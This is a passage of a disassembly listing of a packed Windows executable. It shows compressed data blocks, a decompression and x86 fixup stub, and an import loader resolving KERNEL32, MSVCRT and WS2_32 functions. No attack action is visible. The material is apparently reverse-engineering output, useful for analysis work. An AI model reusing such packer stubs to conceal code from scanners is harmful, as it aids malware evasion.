69B5D552h, 6C5C6D7Ah, 7355A2B6h, 0BB4FEDE4h, 0F537B3FCh dd 0B910D95Bh, 8EB24798h, 472B042Ah, 0B4CD8E8Bh, 0C27AA880h dd 9337A07Ch, 85D91291h, 0E7A1471Ah, 0B746EBA5h, 47A0E42Ch dd 7D13567Bh, 39172921h, 0DBA55B82h, 36CF49Fh, 0C550B4C6h dd 0FA2226EAh, 1363DBDAh, 843B8C48h, 93A8B640h, 20AA9514h dd 2658BA71h, 40C44494h, 0C949B8A5h, 3F67E38Dh, 92BCB313h dd 0A8CD2AAh, 2C474EBFh, 7506D089h, 7CA7E207h, 13A3279Ch dd 15A55D9Dh, 0F6818042h, 0DEBA255Dh, 0DDAD712Ah, 0D9949E05h dd 0F4ABAA94h, 83E34194h, 849536F5h, 0E03FD83Fh, 0BA1203F9h dd 0D6443467h, 18A107F5h, 2342AF36h, 7FF42447h, 0A4D458FDh dd 0DE116E9Ah, 5F5890E9h, 5ACECFADh, 9BDF875h, 1AB40F7Ah dd 0C7872AE5h, 0A52A33E5h, 5088F34Fh, 0A4A3D2B2h, 0C4DDABDCh dd 3F9565D0h, 1096FC02h, 968FD4D9h, 9797A8AFh, 0C0E1BE77h dd 96FE68A9h, 0FFD72BEDh, 0E61565D2h, 617FFF68h, 8A57D195h dd 55F1055Ch, 0B093D312h, 81A063B1h, 0FB24FD37h, 0BF8ADC14h dd 3ABFD606h, 0E39CD5ABh, 6957667Bh, 7C4ABE53h, 294D1C9h dd 8D39662Bh, 6F9E4FB3h, 0CA501E0Bh, 0F802479h, 26982F56h dd 0A9EB282Eh, 0E07007BFh, 50053C7Ah, 89044EFBh, 0B8574B20h dd 341048B4h, 4147F18Bh, 970A6FBh, 4C6268CBh, 0C403B4A0h dd 78D3CE6Bh, 0DA8899D5h, 0B27F6498h, 0F1335C22h, 0E1E10619h dd 0D58F69AEh, 19DE3114h, 304B3DA7h, 8F7E3C09h, 4DE04E6Dh dd 1763D7EAh, 0ABEF412Eh, 4B8D4C20h, 0BA8C4F3h, 184846E8h dd 0D6924073h, 0C4E7EAFDh, 0D4EC9330h, 3F7A3DCDh, 112C8FDFh dd 0DAB7E901h, 0D6935BE4h, 685E0DA6h, 0DE4B0007h, 3BCFDCDAh dd 0F930B3ABh, 0DC4043C2h, 1A01B497h, 9FE4F871h, 40F4138Fh dd 7F012353h, 0A60A950Ah, 0DC153ABBh, 0B82709FFh, 0CCC2B25Ah dd 5193EF35h, 27F5597Ah, 37D38F2Bh, 7BEC4650h, 0EFBDA5Ah dd 0B4E2A5E6h, 8BEB20E3h, 376FB8E5h, 0ECE21F87h, 72EC3CA9h dd 69F13100h, 0B0D38A07h, 0AF49DB4Fh, 7E0DBCD2h, 60DD191Eh dd 1F94367Bh, 4C7FB4FBh, 76D49092h, 6BF91C3Ah, 4EAB570h dd 0E942FF57h, 6F7A6457h, 2E5A567Ah, 8697B6C3h, 1D07A2EDh dd 15367665h, 0CD558AB5h, 94CAA702h, 8361F692h, 0E17E772Dh dd 48501AE4h, 0D16B679Fh, 0B3AFFE7Eh, 7B038703h, 0FB6CA161h dd 47444FEBh, 2BD4266Eh, 3FAB531Ch, 14141D89h, 98398662h dd 0C6421B7Eh, 7B932DA5h, 749EB865h, 0EE291DB4h, 3F65D1Dh dd 5356AB2Dh, 0CE3492A9h, 32D9014Ah, 0A87048B2h, 7231BBAFh dd 7BA10591h, 0D6DBDC61h, 0C9C82A4Bh, 54A091C2h, 0C310F71Bh dd 21D53241h, 0B4047630h, 7B132487h, 0AF989292h, 0F8E82252h dd 0A3E7D915h, 0C97A9177h, 0FD492F5Bh, 4B0A58F4h, 0D803536Fh dd 586DE885h, 0F5FBF58Bh, 94B47CC4h, 0CAA51B3Eh, 2CD5EFh dd 0B340C3D6h, 290A8FCEh dd 45F6A895h, 29F89601h, 0F74CB982h, 0D10EC44Ch, 0F2285872h dd 878E7F43h, 43E5EA10h, 46B20330h, 62BF2160h, 359C039Dh dd 0D0619D48h, 4BB322A3h, 0E27594E0h, 5A412F25h, 4A34DA78h dd 753C2DB7h, 6C5ECACEh, 819E7CD0h, 1ACC7095h, 47650217h dd 0C96DDD11h, 2BFF2BCAh, 2285884h, 0ED509883h, 2CC514CAh dd 0AA9A0655h, 8D02BCCAh, 0C43F4F38h, 3CAFB438h, 4D7A2F01h dd 0B178D806h, 0D990E878h, 7819DC10h, 0BA4CB013h, 24B11BA8h dd 0C18A2D27h, 0CF90331Fh, 1B117972h, 0B665DAA4h, 0D940CE71h dd 0B0E7CD54h, 0C014C601h, 925F0D3Ch, 448691A4h, 0E847DA31h dd 3092DD0Ch, 0A1AF04h, 0C79FE066h, 4CB65310h, 28F7DAFAh dd 655DBF5Fh, 75A9265h, 4A0B91F8h, 0E4FA904Fh, 49DC2B9Fh dd 0A01C7191h, 0A7FC0A0Ch, 0DBF8F7CAh, 9D52C4F5h, 484A8822h dd 617B3785h, 0B795EDD0h db 73h, 0D7h, 70h ; =============== S U B R O U T I N E ======================================= public start start proc near mov ebp, offset off_3DF408 mov dword ptr [ebp+0], 3D00D4h dec dword ptr [ebp+8] mov byte ptr [ebp+0Ch], 5 lea edi, [ebp+14h] xor eax, eax mov ah, 4 mov ecx, eax rep stosd mov edi, offset loc_3EB1B6 push edi mov esi, offset sub_3DF1EC loc_3DF124: ; CODE XREF: start+4Aj xor ecx, ecx inc ecx dec dword ptr [ebp+0Ch] loc_3DF12A: ; CODE XREF: start+3Aj lea ebx, [ebp+ecx*4+0A0h] call esi ; sub_3DF1EC adc cl, cl jnb short loc_3DF12A inc dword ptr [ebp+0Ch] xchg eax, ecx stosb or ecx, 0FFFFFFFFh loc_3DF13F: ; CODE XREF: start+B2j lea ebx, [ebp+ecx*4+18h] call esi ; sub_3DF1EC jz short loc_3DF124 jecxz short loc_3DF160 lea ebx, [ebp+1Ch] call esi ; sub_3DF1EC jz short loc_3DF160 lea ebx, [ebp+8A0h] call sub_3DF247 mov eax, [ebp+10h] jmp short loc_3DF1A2 ; --------------------------------------------------------------------------- loc_3DF160: ; CODE XREF: start+4Cj start+53j lea ebx, [ebp+4A0h] call sub_3DF247 dec ecx dec ecx js short loc_3DF1AF lea ebx, [ebp+20h] jz short loc_3DF177 add ebx, 40h loc_3DF177: ; CODE XREF: start+77j xor edx, edx inc edx loc_3DF17A: ; CODE XREF: start+8Aj call sub_3DF23D lea ecx, [eax+ecx*2] test dl, 10h jz short loc_3DF17A inc ecx xchg eax, ecx lea ebx, [ebp+8A0h] call sub_3DF247 cmp eax, 800h sbb ecx, 0FFFFFFFFh cmp eax, 60h sbb ecx, 0FFFFFFFFh loc_3DF1A2: ; CODE XREF: start+63j mov [ebp+10h], eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_3DF13F ; --------------------------------------------------------------------------- loc_3DF1AF: ; CODE XREF: start+72j mov esi, offset byte_3EB50F mov ebx, offset LoadLibraryA push ebp loc_3DF1BA: ; CODE XREF: start+D5j inc esi lodsd test eax, eax jz short loc_3DF1EA xchg eax, edi push esi call dword ptr [ebx] test eax, eax jz short loc_3DF1DE xchg eax, ebp loc_3DF1C9: ; CODE XREF: start+D1j start+E1j lodsb test al, al jnz short loc_3DF1C9 cmp [esi], al jz short loc_3DF1BA js short loc_3DF1E2 push esi loc_3DF1D5: ; CODE XREF: start+EDj push ebp call dword ptr [ebx+4] stosd test eax, eax jnz short loc_3DF1C9 loc_3DF1DE: ; CODE XREF: start+CBj inc eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_3DF1E2: ; CODE XREF: start+D7j inc esi xor eax, eax lodsw push eax jmp short loc_3DF1D5 ; --------------------------------------------------------------------------- loc_3DF1EA: ; CODE XREF: start+C3j pop ebp retn start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3DF1EC proc near ; CODE XREF: start+36p start+48p ... push ecx mov eax, [ebp+8] shr eax, 0Bh mov ecx, [ebp+0] imul eax, [ebx] mov ecx, [ecx] bswap ecx sub ecx, [ebp+4] cmp eax, ecx mov ecx, [ebp+0Ch] jbe short loc_3DF218 mov [ebp+8], eax xor eax, eax mov ah, 8 sub eax, [ebx] shr eax, cl add [ebx], eax xor eax, eax jmp short loc_3DF227 ; --------------------------------------------------------------------------- loc_3DF218: ; CODE XREF: sub_3DF1EC+19j add [ebp+4], eax sub [ebp+8], eax mov eax, [ebx] shr eax, cl sub [ebx], eax or eax, 0FFFFFFFFh loc_3DF227: ; CODE XREF: sub_3DF1EC+2Aj test byte ptr [ebp+0Bh], 0FFh jnz short loc_3DF238 inc dword ptr [ebp+0] shl dword ptr [ebp+8], 8 shl dword ptr [ebp+4], 8 loc_3DF238: ; CODE XREF: sub_3DF1EC+3Fj shr eax, 1Fh pop ecx retn sub_3DF1EC endp ; =============== S U B R O U T I N E ======================================= sub_3DF23D proc near ; CODE XREF: start:loc_3DF17Ap ; sub_3DF247:loc_3DF24Dp ... push ebx lea ebx, [ebx+edx*4] call esi ; sub_3DF1EC pop ebx adc dl, dl retn sub_3DF23D endp ; =============== S U B R O U T I N E ======================================= sub_3DF247 proc near ; CODE XREF: start+5Bp start+6Bp ... push eax xor ecx, ecx inc ecx mov edx, ecx loc_3DF24D: ; CODE XREF: sub_3DF247+16j call sub_3DF23D call sub_3DF23D lea ecx, [eax+ecx*2] test dl, 2 jnz short loc_3DF24D pop eax retn sub_3DF247 endp BrattyUS ends ; ; Imports from KERNEL32.DLL ; ; =========================================================================== ; Segment type: Externs ; _idata ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) extrn LoadLibraryA:dword ; DATA XREF: start+B9o ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName) extrn GetProcAddress:dword ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute BrattyUS segment para public 'CODE' use32 assume cs:BrattyUS ;org 3DF26Dh assume es:nothing, ss:nothing, ds:BrattyUS, fs:nothing, gs:nothing db 85h, 0F2h, 0 dd 0F29300h, 0 dd 52454B00h, 334C454Eh, 4C442E32h, 4C00004Ch, 4C64616Fh dd 61726269h, 417972h, 74654700h, 636F7250h, 72646441h dd 737365h, 0F26D00h, 2 dup(0) dd 0F27900h, 0F26100h, 54h dup(0) off_3DF408 dd offset word_3F77DE ; DATA XREF: starto dd offset dword_3F7968 dd offset word_3F79FE dd offset byte_3F8013 dd offset byte_3F8047 dd offset word_3F82C6 dd offset byte_3F8355 dd offset byte_3F8381 dd offset byte_3F83FF dd offset byte_3F8661 dd offset byte_3F8D2F dd offset byte_3F8DBB dd offset byte_3FD84B dd offset a______z__A__bX ; "......Z..\\..X..&Ѡ"... dd offset byte_3FF7EC dd offset dword_3FFDBC dd offset byte_3FFE07 dd offset byte_3FFE6F dd offset word_4008FA dd offset word_400AEA dd offset loc_400B84 dd offset sub_401000 dd offset sub_400FFC dd 2ED2EE97h, 2 dup(0) dd 77h, 0 dd 2E2DFA09h, 9DCh, 11A9h, 14FFh, 1626h, 1747h, 17CEh dd 187Dh, 1A00h, 1D02h, 1D5Ch, 1DDCh, 21E2h, 239Dh, 0D1BBF6CBh dd 2B75h, 2BEFh, 2D73h, 2DB9h, 2DE0h, 2EE4h, 37B9h, 2E2EEEF3h dd 2E2EC574h, 3CE9h, 3D39h, 50D9D2F4h, 3F99h, 2E26B079h dd 444Eh, 4632h, 466Dh, 46EFh, 4718h, 4A4Fh, 3EACB23Ah dd 0E2892011h, 5062h, 5A892520h, 562Ah, 5D25h, 60E3h, 6899h dd 6BC0h, 6F26h, 75A5h, 7696h, 58D2495Eh, 7A3Fh, 7A81h dd 8CC6h, 938Eh, 522EC205h, 945B712Dh, 9689h, 945B72AFh dd 980Bh, 945B7402h, 5AD26FA4h, 5B2ECE2Dh, 592ECE33h, 0A2FDh dd 0A5CEh, 0A74Fh, 0A9F2h, 0AA25h, 5AD27EB7h, 0B390h, 0B8D8h dd 0B926h, 0C0F8h, 0C1A5h, 0C25Fh, 0C62Bh, 0C682h, 0CB89h dd 0CC43h, 0CD14h, 0D142h, 2EAA2815h, 0A4A43027h, 0D82Dh dd 0E194h, 0F3A0h, 0F3E4h, 1553386Dh, 155338EAh, 15533903h dd 10C8Eh, 10CB8h, 10E0Ch, 10EB1h, 119BCh, 11C9Ch, 901DE6CEh dd 1553F39Fh, 123A0h, 125D2h, 1263Ch, 12664h, 1271Ah, 12910h dd 129B3h, 12E44h, 12EA7h, 12EACh, 12EBCh, 12F9Ch, 131A4h dd 133FBh, 13A5Ah, 13E0Bh, 13EFBh, 14BFDh, 14FCDh, 15688h dd 158BEh, 259h, 2A3h, 2B2h, 141h, 1A7h, 3A1h, 220h, 516h dd 162h, 0D3h, 288h, 477h, 1BAh, 168h, 5EEh, 488h, 32Eh dd 342h, 2CFh, 2FCh, 310h, 160h, 4DEh, 41Fh, 510h, 2AAh dd 549h, 2FFh, 22Bh, 3BDh, 237h, 41Ah, 335h, 3E6h, 2B5h dd 480h, 35Dh, 3D3h, 437h, 456h, 2ABh, 3BEh, 494h, 3FAh dd 30Ch, 4CBh, 5A8h, 412h, 410h, 2A3h, 337h, 640h, 46Bh dd 37Bh, 4A2h, 31Bh, 447h, 42Ah, 23Fh, 1FEh, 2DCh, 50Bh dd 3E0h, 30Dh, 2D6h, 3EBh, 35Ch, 5A9h, 3B4h, 5B5h, 1C5h dd 47Ch, 29Dh, 406h, 353h, 203h, 25Ch, 511h, 18Fh, 44Fh dd 2DCh, 3DCh, 516h, 274h, 31Ah, 366h, 2D5h, 481h, 3F0h dd 34Dh, 560h, 136h, 393h, 349h, 485h, 539h, 1Ah, 41Ch dd 4D5h, 485h, 199h, 2F9h, 558h, 369h, 31Bh, 430h, 399h dd 37Eh, 2CCh, 3CFh, 192h, 3B7h, 25h, 465h, 1C1h, 40Bh dd 106h, 4BCh, 235h, 363h, 0E1h, 4DDh, 3AFh, 107h, 362h dd 2B5h, 39Bh, 5DBh, 6AFh, 1EEh, 5E9h, 46Dh, 5BCh, 4E0h dd 2A0h, 5D2h, 89h, 3EBC4Bh, 3EBC4Ch, 3EBC4Dh, 3EBC4Eh dd 3EBC50h, 3EBC51h, 3EBC52h, 3EBC53h, 3EBC54h, 3EBC55h dd 3EBC56h, 3EBC57h, 3EBC59h, 3EBC5Ah, 3EBC5Bh, 3EBC5Dh dd 3EBC5Eh, 3EBC5Fh, 3EBC60h, 3EBC61h, 3EBC63h, 3EBC64h dd 3EBC65h, 3EBC67h, 3EBC69h, 3EBC6Ah, 3EBC6Bh, 3EBC6Ch dd 3EBC6Dh, 3EBC6Eh, 3EBC6Fh, 3EBC70h, 3EBC72h, 3EBC73h dd 3EBC74h, 3EBC76h, 3EBC77h, 3EBC79h, 3EBC7Bh, 3EBC7Dh dd 3EBC7Eh, 3EBC80h, 3EBC82h, 3EBC83h, 3EBC84h, 3EBC85h dd 3EBC86h, 3EBC88h, 3EBC89h, 3EBC8Ah, 3EBC8Ch, 3EBC8Dh dd 3EBC8Fh, 3EBC91h, 3EBC92h, 3EBC94h, 3EBC96h, 3EBC97h dd 3EBC98h, 3EBC9Ah, 3EBC9Bh, 3EBC9Ch, 3EBC9Dh, 3EBC9Eh dd 3EBCA0h, 3EBCA2h, 3EBCA3h, 3EBCA4h, 3EBCA5h, 3EBCA6h dd 3EBCA8h, 3EBCAAh, 3EBCACh, 3EBCAEh, 3EBCB0h, 3EBCB2h dd 3EBCB4h, 3EBCB5h, 3EBCB7h, 3EBCB9h, 3EBCBAh, 3EBCBBh dd 3EBCBCh, 3EBCBDh, 3EBCBFh, 3EBCC1h, 3EBCC2h, 3EBCC4h dd 3EBCC6h, 3EBCC8h, 3EBCCAh, 3EBCCCh, 3EBCCEh, 3EBCD0h dd 3EBCD2h, 3EBCD3h, 3EBCD5h, 3EBCD7h, 3EBCD8h, 3EBCD9h dd 3EBCDAh, 3EBCDBh, 3EBCDDh, 3EBCDEh, 3EBCE0h, 3EBCE1h dd 3EBCE2h, 3EBCE3h, 3EBCE4h, 3EBCE5h, 3EBCE6h, 3EBCE8h dd 3EBCEAh, 3EBCEBh, 3EBCECh, 3EBCEEh, 3EBCEFh, 3EBCF0h dd 3EBCF1h, 3EBCF2h, 3EBCF3h, 3EBCF5h, 3EBCF7h, 3EBCF9h dd 3EBCFAh, 3EBCFBh, 3EBCFDh, 3EBCFEh, 3EBD00h, 3EBD01h dd 3EBD02h, 3EBD03h, 3EBD05h, 3EBD06h, 3EBD08h, 3EBD0Ah dd 3EBD0Ch, 3EBD0Eh, 3EBD10h, 3EBD12h, 3EBD14h, 3EBD15h dd 3EBD17h, 3EBD19h, 3EBD1Bh, 3EBD1Ch, 3EBD1Eh, 3EBD20h dd 3EBD22h, 3EBD23h, 3EBD25h, 3EBD27h, 3EBD29h, 3EBD2Bh dd 3EBD2Dh, 3EBD2Fh, 3EBD31h, 3EBD32h, 3EBD34h, 3EBD36h dd 3EBD37h, 3EBD38h, 3EBD39h, 3EBD3Ah, 3EBD3Bh, 3EBD3Dh dd 3EBD3Fh, 3EBD41h, 3EBD43h, 3EBD44h, 3EBD46h, 3EBD48h dd 3EBD49h, 3EBD4Bh, 3EBD4Dh, 3EBD4Fh, 3EBD51h, 3EBD53h dd 3EBD55h, 3EBD56h, 3EBD57h, 3EBD58h, 3EBD5Ah, 3EBD5Ch dd 3EBD5Eh, 3EBD5Fh, 3EBD60h, 3EBD62h, 3EBD64h, 3EBD66h dd 3EBD67h, 3EBD68h, 3EBD6Ah, 3EBD6Ch, 3EBD6Eh, 3EBD70h dd 3EBD72h, 3EBD74h, 3EBD76h, 3EBD78h, 3EBD7Ah, 3EBD7Bh dd 3EBD7Ch, 3EBD7Eh, 3EBD7Fh, 3EBD81h, 3EBD83h, 3EBD85h dd 3EBD86h, 3EBD87h, 3EBD88h, 3EBD89h, 3EBD8Ah, 3EBD8Ch dd 3EBD8Eh, 3EBD90h, 3EBD92h, 3EBD94h, 3EBD96h, 3EBD98h dd 3EBD99h, 3EBD9Ah, 3EBD9Bh, 3EBD9Ch, 3EBD9Dh, 3EBD9Fh dd 3EBDA1h, 3EBDA2h, 3EBDA3h, 3EBDA4h, 3EBDA6h, 3EBDA8h dd 3EBDAAh, 3EBDACh, 3EBDAEh, 3EBDAFh, 3EBDB0h, 3EBDB2h dd 3EBDB3h, 3EBDB4h, 3EBDB6h, 3EBDB8h, 3EBDBAh, 3EBDBCh dd 3EBDBEh, 3EBDC0h, 3EBDC2h, 3EBDC4h, 3EBDC6h, 3EBDC8h dd 3EBDCAh, 3EBDCBh, 3EBDCCh, 3EBDCDh, 3EBDCEh, 3 dup(400h) dd 46Ch, 3B8h dd 478h, 3EAh, 2 dup(400h), 1A8h, 279h, 44Dh, 4EAh, 329h dd 3B4h, 400h, 3D3h, 454h, 3B5h, 2 dup(400h), 4B2h, 5BCh dd 4 dup(400h), 464h, 56Bh, 2FAh, 4AEh, 0Ah dup(400h) dd 593h, 5D1h, 2 dup(400h), 5E4h, 4EBh, 14h dup(400h) dd 455h, 470h, 486h, 500h, 4 dup(400h), 59Ah, 452h, 3C2h dd 471h, 14h dup(400h), 4BCh, 3C2h, 401h, 3A2h, 4 dup(400h) dd 41Ch, 401h, 3C5h, 425h, 0Ah dup(400h), 4F3h, 63Ah, 2 dup(400h) dd 678h, 573h, 4 dup(400h), 45Dh, 3E0h, 3C3h, 3E0h, 2 dup(400h) dd 5D7h, 5AEh, 478h, 420h, 62Eh, 44Ah, 2Ah dup(400h), 4A3h dd 3CFh, 2 dup(400h), 451h, 40Ch, 0Ah dup(400h), 43Fh dd 45Bh, 2 dup(400h), 457h, 3A5h, 14h dup(400h), 52Ah dd 4ADh, 453h, 3FBh, 4 dup(400h), 4F0h, 3E0h, 3ABh, 419h dd 0Ah dup(400h), 41Dh, 401h, 2 dup(400h), 420h, 47Ah dd 4 dup(400h), 392h, 4ABh, 43Bh, 3C1h, 2 dup(400h), 423h dd 3FFh, 38Dh, 474h, 40Ch, 2E0h, 0DDh dup(400h), 2B66h dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_3EB1B6: ; DATA XREF: start+1Eo mov edi, offset sub_401000 mov ebx, edi sub ebx, 4 mov [ebp+58h], ebx xor eax, eax mov [ebp+5Ch], eax mov [ebp+64h], eax inc eax mov [ebp+60h], eax mov [ebp+68h], eax lea ebx, [esi+58h] xor ecx, ecx loc_3EB1DA: ; CODE XREF: BrattyUS:003EB1E5j lodsd mov [ebp+ecx*4+0], ebx add ebx, eax inc ecx cmp cl, 16h jnz short loc_3EB1DA mov esi, [ebp+4] xchg esi, [ebp+0] push edi lea edi, [ebp+468h] lodsb movzx ecx, al mov ebx, offset byte_3EB40F loc_3EB1FD: ; CODE XREF: BrattyUS:loc_3EB21Cj mov eax, esi stosd xor eax, eax lodsb cmp al, 66h jnz short loc_3EB208 lodsb loc_3EB208: ; CODE XREF: BrattyUS:003EB205j cmp al, 0Fh jnz short loc_3EB20F lodsb mov ah, 1 loc_3EB20F: ; CODE XREF: BrattyUS:003EB20Aj shr eax, 1 xlat jnb short loc_3EB217 shr al, 4 loc_3EB217: ; CODE XREF: BrattyUS:003EB212j test al, 2 jz short loc_3EB21C inc esi loc_3EB21C: ; CODE XREF: BrattyUS:003EB219j loop loc_3EB1FD pop edi loc_3EB21F: ; CODE XREF: BrattyUS:003EB26Cj ; BrattyUS:003EB35Aj ... xor eax, eax cmp [ebp+64h], eax jz short loc_3EB22A xchg eax, [ebp+64h] xchg eax, esi loc_3EB22A: ; CODE XREF: BrattyUS:003EB224j cmp esi, [ebp+0] jz loc_420000 lodsb cmp al, 0FFh jz short loc_3EB245 mov [ebp+64h], esi movzx eax, al mov esi, [ebp+eax*4+468h] loc_3EB245: ; CODE XREF: BrattyUS:003EB236j xor eax, eax cmp [ebp+60h], eax lodsb jz short loc_3EB267 cmp al, 0CCh jz short loc_3EB267 lea ecx, [edi-4] sub ecx, [ebp+58h] mov ebx, [ebp+68h] mov [ebp+ebx*4+68h], ecx loc_3EB25E: ; CODE XREF: BrattyUS:003EB261j inc byte ptr [ebp+68h] jz short loc_3EB25E mov byte ptr [ebp+60h], 0 loc_3EB267: ; CODE XREF: BrattyUS:003EB24Bj ; BrattyUS:003EB24Fj cmp al, 0CEh jnz short loc_3EB26E movsb jmp short loc_3EB21F ; --------------------------------------------------------------------------- loc_3EB26E: ; CODE XREF: BrattyUS:003EB269j stosb xor edx, edx cmp al, 66h jnz short loc_3EB279 mov dh, 1 lodsb stosb loc_3EB279: ; CODE XREF: BrattyUS:003EB273j mov bl, al cmp bl, 0CCh jz short loc_3EB288 sub bl, 0C2h cmp bl, 1 ja short loc_3EB28C loc_3EB288: ; CODE XREF: BrattyUS:003EB27Ej mov byte ptr [ebp+60h], 1 loc_3EB28C: ; CODE XREF: BrattyUS:003EB286j mov ebx, offset byte_3EB40F cmp al, 0Fh jnz short loc_3EB299 lodsb stosb mov ah, 1 loc_3EB299: ; CODE XREF: BrattyUS:003EB293j shr eax, 1 xlat jnb short loc_3EB2A1 shr al, 4 loc_3EB2A1: ; CODE XREF: BrattyUS:003EB29Cj and al, 0Fh mov cl, al test cl, 2 jz loc_3EB333 lodsb stosb mov ch, al mov al, cl and al, 3 cmp al, 3 jnz short loc_3EB2CC mov cl, 2 test ch, 38h jnz short loc_3EB2CC mov bl, [edi-2] test bl, 8 jnz short loc_3EB2CC add cl, 4 loc_3EB2CC: ; CODE XREF: BrattyUS:003EB2B8j ; BrattyUS:003EB2BFj ... and ch, 0C7h cmp ch, 0C4h jz short loc_3EB2E3 mov al, ch and al, 7 cmp al, 4 jnz short loc_3EB2E3 xchg esi, [ebp+54h] movsb xchg esi, [ebp+54h] loc_3EB2E3: ; CODE XREF: BrattyUS:003EB2D2j ; BrattyUS:003EB2DAj mov dl, ch and dl, 0C0h cmp dl, 40h jnz short loc_3EB2FC movzx ebx, ch and bl, 7 xchg esi, [ebp+ebx*4+4] movsb xchg esi, [ebp+ebx*4+4] loc_3EB2FC: ; CODE XREF: BrattyUS:003EB2EBj cmp dl, 80h jz short loc_3EB313 cmp ch, 5 jz short loc_3EB313 test dl, dl jnz short loc_3EB333 mov al, [edi-1] and al, 7 cmp al, 5 jnz short loc_3EB333 loc_3EB313: ; CODE XREF: BrattyUS:003EB2FFj ; BrattyUS:003EB304j xor ebx, ebx cmp ch, 5 jnz short loc_3EB31B inc ebx loc_3EB31B: ; CODE XREF: BrattyUS:003EB318j xchg esi, [ebp+ebx*4+34h] lodsd dec esi xchg esi, [ebp+ebx*4+34h] xchg esi, [ebp+48h] shl eax, 8 lodsb xchg esi, [ebp+48h] ror eax, 8 stosd loc_3EB333: ; CODE XREF: BrattyUS:003EB2A8j ; BrattyUS:003EB308j ... mov al, cl and al, 3 cmp al, 1 jnz loc_3EB3D5 shr cl, 2 jnz short loc_3EB35F xchg esi, [ebp+3Ch] lodsd dec esi xchg esi, [ebp+3Ch] xchg esi, [ebp+4Ch] shl eax, 8 lodsb xchg esi, [ebp+4Ch] ror eax, 8 stosd jmp loc_3EB21F ; --------------------------------------------------------------------------- loc_3EB35F: ; CODE XREF: BrattyUS:003EB342j dec cl jnz short loc_3EB36F xchg esi, [ebp+24h] movsb xchg esi, [ebp+24h] jmp loc_3EB21F ; --------------------------------------------------------------------------- loc_3EB36F: ; CODE XREF: BrattyUS:003EB361j xor ebx, ebx cmp byte ptr [edi-1], 0E8h jz short loc_3EB398 xchg esi, [ebp+50h] lodsw xchg esi, [ebp+50h] xchg esi, [ebp+44h] shl eax, 10h lodsw xchg esi, [ebp+44h] shr eax, 1 jnb short loc_3EB390 not eax loc_3EB390: ; CODE XREF: BrattyUS:003EB38Cj add eax, [ebp+5Ch] mov [ebp+5Ch], eax jmp short loc_3EB3CA ; --------------------------------------------------------------------------- loc_3EB398: ; CODE XREF: BrattyUS:003EB375j xor eax, eax xchg esi, [ebp+40h] lodsb xchg esi, [ebp+40h] test al, al jz short loc_3EB3AB mov eax, [ebp+eax*4+68h] jmp short loc_3EB3CA ; --------------------------------------------------------------------------- loc_3EB3AB: ; CODE XREF: BrattyUS:003EB3A3j xchg esi, [ebp+50h] lodsw xchg esi, [ebp+50h] xchg esi, [ebp+40h] shl eax, 10h lodsw xchg esi, [ebp+40h] mov ebx, [ebp+68h] mov [ebp+ebx*4+68h], eax loc_3EB3C5: ; CODE XREF: BrattyUS:003EB3C8j inc byte ptr [ebp+68h] jz short loc_3EB3C5 loc_3EB3CA: ; CODE XREF: BrattyUS:003EB396j ; BrattyUS:003EB3A9j sub eax, edi add eax, [ebp+58h] stosd jmp loc_3EB21F ; --------------------------------------------------------------------------- loc_3EB3D5: ; CODE XREF: BrattyUS:003EB339j shr cl, 2 jz loc_3EB21F dec cl jnz short loc_3EB3EE xchg esi, [ebp+28h] movsb xchg esi, [ebp+28h] jmp loc_3EB21F ; --------------------------------------------------------------------------- loc_3EB3EE: ; CODE XREF: BrattyUS:003EB3E0j dec cl jnz short loc_3EB402 test dh, dh jnz short loc_3EB402 xchg esi, [ebp+30h] movsd xchg esi, [ebp+30h] jmp loc_3EB21F ; --------------------------------------------------------------------------- loc_3EB402: ; CODE XREF: BrattyUS:003EB3F0j ; BrattyUS:003EB3F4j xchg esi, [ebp+2Ch] movsw xchg esi, [ebp+2Ch] jmp loc_3EB21F ; --------------------------------------------------------------------------- byte_3EB40F db 22h ; DATA XREF: BrattyUS:003EB1F8o ; BrattyUS:loc_3EB28Co dd 7 dup(22008422h), 8422h, 4 dup(0) dd 0A8000022h, 55000064h, 55555555h, 0A6555555h, 22222266h dd 222222h, 0 dd 11000000h, 84000011h, 44000000h, 88444444h, 66888888h dd 0A6220Ch, 2200400Ch, 22004422h, 55222222h, 0DD444455h dd 51h, 2 dup(330000h), 0 dd 22000000h, 222222h, 22000000h, 22h, 2 dup(0) dd 22000000h, 22222222h, 222222h, 0 dd 22000000h, 22222222h, 66222222h, 22266h, 0DD220000h dd 0DDDDDDDDh, 22DDDDDDh, 22222222h, 222222h, 222620h dd 22202620h, 222222h, 22222220h, 222222h, 22000000h, 5 dup(22222222h) db 2 dup(22h), 2 byte_3EB50F db 0 ; DATA XREF: start:loc_3DF1AFo dd offset dword_417114 dd 4356534Dh, 642E5452h, 5F006C6Ch, 616F7469h, 74735F00h dd 63696E72h, 5F00706Dh, 54787843h, 776F7268h, 65637845h dd 6F697470h, 3F3F006Eh, 70797431h, 6E695F65h, 40406F66h dd 40454155h, 5F005A58h, 7878435Fh, 6D617246h, 6E614865h dd 72656C64h, 6D656D00h, 65766F6Dh, 72747300h, 797063h dd 746F725Fh, 725F0072h, 6C746Fh, 6E73765Fh, 6E697270h dd 6D006674h, 6D636D65h, 6F740070h, 65776F6Ch, 74730072h dd 706D6372h, 69727000h, 66746Eh, 40323F3Fh, 41504159h dd 5A404958h, 333F3F00h, 58415940h, 40584150h, 7376005Ah dd 6E697270h, 5F006674h, 69676562h, 7268746Eh, 65646165h dd 655F0078h, 70656378h, 61685F74h, 656C646Eh, 63003372h dd 6C6965h, 6F74665Fh, 7865006Ch, 72007469h, 6C6C6165h dd 7300636Fh, 636E7274h, 5F00706Dh, 72706E73h, 66746E69h dd 72747300h, 727473h, 61637373h, 6100666Eh, 696F74h, 65657366h dd 7266006Bh, 646165h, 65706F66h, 6366006Eh, 65736F6Ch dd 72776600h, 657469h, 6C657466h, 7473006Ch, 74616372h dd 6D656D00h, 746573h, 636F6C63h, 7073006Bh, 746E6972h dd 74730066h, 70636E72h, 656D0079h, 7970636Dh, 65726600h dd 616D0065h, 636F6C6Ch, 72747300h, 6E656Ch, 7274735Fh dd 69706D63h, 71F40000h, 53570041h, 32335F32h, 6C6C642Eh dd 4FF00h, 97FF00h, 1FF00h, 16FF00h, 